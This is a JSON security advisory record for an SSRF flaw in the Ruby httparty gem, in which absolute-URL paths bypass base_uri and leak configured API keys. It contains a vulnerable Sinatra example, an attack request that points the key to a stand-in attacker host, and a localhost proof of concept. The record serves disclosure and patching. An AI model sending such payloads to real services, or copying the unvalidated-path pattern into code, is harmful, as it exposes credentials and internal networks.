{"id":"CVE-2025-68696","aliases":["GHSA-hm5p-x4rq-38w4"],"url":"https://o3.security/vulnerability/CVE-2025-68696","summary":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","details":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" > /tmp/server1/index.html \n   echo \"this is server2\" > /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","published":"2025-12-23T22:59:04.201Z","modified":"2026-08-12T03:51:27.485440238Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"httparty","fixedVersion":"0.24.0"}],"fix":{"url":"https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240","label":"jnunemaker/httparty@0529bcd"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68696.json"},{"type":"ADVISORY","url":"https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68696"},{"type":"FIX","url":"https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"},{"type":"PACKAGE","url":"https://github.com/jnunemaker/httparty"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.485440238Z"}}